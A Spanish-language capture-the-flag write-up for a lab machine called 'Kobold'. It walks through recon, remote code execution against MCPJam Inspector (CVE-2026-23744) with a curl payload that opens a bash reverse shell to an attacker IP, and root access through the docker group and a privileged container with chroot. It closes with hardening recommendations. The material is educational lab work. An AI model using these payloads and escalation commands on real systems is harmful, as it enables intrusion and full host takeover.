Key Findings
Durante el análisis de seguridad de la máquina Kobold se identificaron las siguientes vulnerabilidades críticas:
- MCPJam Inspector v1.4.2 vulnerable a ejecución remota de código (CVE-2026-23744)
- Version disclosure mediante Sentry Release ID en código JavaScript
- Membresía oculta en grupo docker vía /etc/gshadow
- Usuario con acceso al socket de Docker sin restricciones
- Contenedores Docker ejecutándose con privilegios elevados
- Montaje del filesystem del host en contenedores Docker
- Diferencias en capabilities entre imágenes Docker (mysql vs privatebin)
- Escalada de privilegios mediante Docker privileged containers y chroot
Key Learning Objectives
Los objetivos de aprendizaje clave en esta máquina incluyen:
- ✅ Port Scanning & Service Enumeration
- ✅ Virtual Host Discovery with Gobuster
- ✅ Version Discovery via Sentry Release Tracking
- ✅ GitHub Commit Analysis for Version Identification
- ✅ MCPJam RCE Exploitation - CVE-2026-23744
- ✅ Linux Group Membership Analysis (/etc/group vs /etc/gshadow)
- ✅ Docker Socket Exploitation
- ✅ Container Capabilities Analysis
- ✅ Docker Privileged Container Escape
Reconnaissance & Enumeration
El reconocimiento inicial se realizó utilizando Nmap para identificar puertos abiertos y servicios en ejecución.
❯ nmap -p- --open -n -Pn -vvv -oG ports --min-rate=2500 10.129.19.102
# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 10.129.19.102 () Ports: 22/open/tcp//ssh///, 80/open/tcp//http///, 443/open/tcp//https///, 3552/open/tcp//taserver///
❯ nmap -p 22,80,443,3552 -sCV -oN services 10.129.19.102
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to https://kobold.htb/
443/tcp open ssl/http nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to https://kobold.htb/
| ssl-cert: Subject: commonName=kobold.htb
| Subject Alternative Name: DNS:kobold.htb, DNS:*.kobold.htb
3552/tcp open http Golang net/http server
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Resultados:
- Puerto 22/tcp: OpenSSH 9.6p1 Ubuntu
- Puerto 80/tcp: nginx 1.24.0 con redirección a https://kobold.htb/
- Puerto 443/tcp: nginx 1.24.0 (SSL) con wildcard certificate (*.kobold.htb)
- Puerto 3552/tcp: Golang net/http server
Agregamos el dominio al archivo hosts:
❯ echo '10.129.19.102 kobold.htb' | sudo tee -a /etc/hosts
Subdomain Enumeration
Dado que el certificado SSL indica la presencia de subdominios (*.kobold.htb), realizamos enumeración de virtual hosts:
❯ gobuster vhost -u https://kobold.htb \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt \
-t 50 -k --append-domain
Subdominios encontrados:
- mcp.kobold.htb
- bin.kobold.htb
Agregamos los subdominios al archivo hosts:
❯ echo '10.129.19.102 kobold.htb mcp.kobold.htb bin.kobold.htb' | sudo tee /etc/hosts
MCPJam Version Discovery
Al analizar mcp.kobold.htb con Wappalyzer, identificamos que está utilizando Sentry para tracking de errores.
Abrimos las herramientas de desarrollador (Network tab), recargamos la página y buscamos por la keyword "sentry". Encontramos el release ID en el código JavaScript:
SENTRY_RELEASE={id:"af9cf6a62f550e986fe330c09b8a3b8b83136df6"}
Utilizamos este commit ID para identificar la versión exacta consultando la API de GitHub:
❯ curl -s "https://api.github.com/repos/MCPJam/inspector/commits/af9cf6a62f550e986fe330c09b8a3b8b83136df6" | \
python3 -m json.tool | grep -E "message|date"
"date": "2026-01-08T02:08:16Z"
"message": "v1.4.2"
Versión identificada: MCPJam Inspector v1.4.2
Vulnerability Identification
Investigando esta versión específica de MCPJam Inspector, encontramos que es vulnerable a CVE-2026-23744, una vulnerabilidad de ejecución remota de código.
Referencia: https://github.com/advisories/GHSA-232v-j27c-5pp6
RCE Exploitation - CVE-2026-23744
Preparamos un listener para recibir la reverse shell:
Ejecutamos el exploit enviando un payload malicioso al endpoint de MCP:
❯ curl -k https://mcp.kobold.htb/api/mcp/connect \
-H "Content-Type: application/json" \
-d '{"serverConfig":{"command":"bash","args":["-c","bash -i >& /dev/tcp/10.10.16.138/4444 0>&1"],"env":{}},"serverId":"pwned"}'
Obtenemos acceso exitoso al sistema como usuario ben:
ben@kobold:/usr/local/lib/node_modules/@mcpjam/inspector$ whoami
ben
System Enumeration
Ejecutamos Linpeas para enumerar posibles vectores de escalada de privilegios:
ben@kobold:~$ ./linpeas.sh &> linpeas_full_output.txt
Durante la enumeración, encontramos evidencia de contenedores Docker en el sistema al revisar archivos package.json y procesos en ejecución.
Docker Discovery
Confirmamos que Docker está ejecutándose como root:
ben@kobold:~$ ps aux | grep dockerd
root 1614 0.1 2.0 2193300 81248 ? Ssl Mar31 0:21 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
Verificamos la red Docker:
ben@kobold:~$ ifconfig
docker0: flags=4163 mtu 1500
inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255
Sin embargo, al intentar listar contenedores e imágenes, obtenemos errores de permisos:
ben@kobold:~$ docker ps -a
permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock
ben@kobold:~$ docker images
permission denied while trying to connect to the Docker daemon socket
Hidden Group Membership
Verificamos los grupos del usuario:
ben@kobold:~$ id
uid=1001(ben) gid=1001(ben) groups=1001(ben),37(operator)
ben@kobold:~$ grep docker /etc/group
docker:x:111:alice
Aparentemente, ben no es miembro del grupo docker según /etc/group. Sin embargo, ejecutamos newgrp docker:
ben@kobold:~$ newgrp docker
ben@kobold:~$ id
uid=1001(ben) gid=111(docker) groups=111(docker),37(operator),1001(ben)
Explicación: La membresía de grupos en Linux se gestiona en dos archivos:
/etc/group - legible por cualquier usuario, aquí docker solo listaba a alice
/etc/gshadow - legible solo por root, aquí ben sí estaba listado como miembro
Cuando ejecutamos newgrp docker, el binario (que tiene el bit setuid y corre como root) consulta /etc/gshadow, encuentra a ben como miembro legítimo y lanza un nuevo shell con el grupo docker activo.
Ahora podemos listar contenedores e imágenes:
ben@kobold:~$ docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
4c49dd7bb727 privatebin/nginx-fpm-alpine:2.0.2 "/etc/init.d/rc.local" 6 weeks ago Up 3 hours 127.0.0.1:8080->8080/tcp bin
ben@kobold:~$ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
mysql latest f66b7a288113 7 weeks ago 922MB
privatebin/nginx-fpm-alpine 2.0.2 f5f5564e6731 5 months ago 122MB
Docker Privilege Escalation
Tenemos dos imágenes disponibles. Intentamos la escalada con ambas para entender las diferencias en capabilities.
Método de escalada:
ben@kobold:~$ docker run --rm --privileged -v /:/host-root -it mysql:latest chroot /host-root /bin/bash
Explicación del comando:
docker run - Crea y ejecuta un contenedor nuevo
--rm - Elimina el contenedor automáticamente al salir (sin rastro)
--privileged - Otorga todas las capabilities al contenedor
-v /:/host-root - Monta el filesystem raíz del host en /host-root
-it mysql:latest - Usa la imagen mysql en modo interactivo
chroot /host-root /bin/bash - Cambia el directorio raíz al filesystem del host
Container Capabilities Analysis
¿Por qué funciona con mysql pero no con privatebin?
Cuando ejecutamos un contenedor con --privileged, Docker otorga todas las capabilities. Sin embargo, cada imagen puede dropear esas capabilities en su entrypoint.
Verificamos las capabilities de ambas imágenes:
mysql:latest - MANTIENE todas las capabilities:
ben@kobold:~$ docker run --rm --privileged -it mysql:latest cat /proc/self/status | grep Cap
CapInh: 0000000000000000
CapPrm: 000001ffffffffff ← ¡Tiene TODAS las capabilities!
CapEff: 000001ffffffffff ← ¡Todas activas!
CapBnd: 000001ffffffffff
CapAmb: 0000000000000000
privatebin/nginx-fpm-alpine - DROPEA todas las capabilities:
ben@kobold:~$ docker run --rm --privileged -it --entrypoint /bin/cat privatebin/nginx-fpm-alpine:2.0.2 /proc/self/status | grep Cap
CapInh: 0000000000000000
CapPrm: 0000000000000000 ← ¡Ninguna!
CapEff: 0000000000000000 ← ¡Ninguna activa!
CapBnd: 000001ffffffffff
CapAmb: 0000000000000000
El problema es que chroot requiere específicamente la capability CAP_SYS_CHROOT. Con privatebin esa capability fue dropeada en su entrypoint, por eso obtenemos chroot: operation not permitted.
Lección aprendida: --privileged es condición necesaria pero no suficiente. También importa que la imagen no dropee capabilities en su entrypoint.
Root Access Achievement
Ejecutamos el contenedor privilegiado con la imagen mysql y obtenemos root:
ben@kobold:~$ docker run --rm --privileged -v /:/host-root -it mysql:latest chroot /host-root /bin/bash
root@container:/# whoami
root
root@container:/# cat /root/root.txt
Cadena lógica de la explotación:
Ser miembro del grupo docker
↓
Podemos escribir en /var/run/docker.sock
↓
Podemos hablarle al daemon dockerd (que corre como root)
↓
Le pedimos crear un contenedor con --privileged
↓
El contenedor tiene acceso total al disco del host via -v /:/host-root
↓
chroot cambia nuestra raíz al disco del host
↓
root
Recommendations
Immediate Actions
1. MCPJam Inspector Security
- Actualizar MCPJam Inspector a la última versión disponible
- Aplicar parches de seguridad para CVE-2026-23744
- Implementar validación estricta de entrada en endpoints de API
- Deshabilitar Sentry release tracking en producción o usar IDs ofuscados
2. Docker Group Management
- Auditar membresías en /etc/gshadow además de /etc/group
- Eliminar usuarios innecesarios del grupo docker
- Implementar rootless Docker para servicios no críticos
- Considerar usar Podman en lugar de Docker para mejor aislamiento
3. Docker Socket Protection
- Restringir acceso al socket de Docker (/var/run/docker.sock)
- Usar Docker socket proxy para limitar comandos permitidos
- Implementar Docker authorization plugins
- Auditar regularmente permisos del socket de Docker
4. Container Security
- NUNCA usar flag --privileged en producción
- Evitar montar el filesystem del host (/) en contenedores
- Implementar AppArmor o SELinux profiles para contenedores
- Usar user namespaces para mapear UID 0 del contenedor a UID no privilegiado del host
Long-term Security Improvements
1. Access Controls
- Implementar principio de mínimo privilegio en membresías de grupos
- Regular auditoría de /etc/group y /etc/gshadow
- Implementar RBAC para acceso a Docker
- Usar herramientas como Falco para detectar comportamientos anómalos
2. Container Runtime Security
- Implementar políticas de seguridad con OPA (Open Policy Agent)
- Usar imágenes base minimal y verificar sus capabilities
- Implementar escaneo de imágenes con Trivy o Clair
- Establecer políticas de no ejecutar contenedores como root
3. Monitoring & Detection
- Implementar logging de todos los comandos docker ejecutados
- Alertas para ejecución de contenedores con --privileged
- Monitorear montajes de directorios sensibles del host
- Detectar uso de chroot en contenedores
4. Version Disclosure Prevention
- No exponer commit IDs o release tags en código JavaScript de producción
- Configurar Sentry para usar release IDs genéricos
- Implementar obfuscación de código en producción
- Regular auditoría de información expuesta en headers y código fuente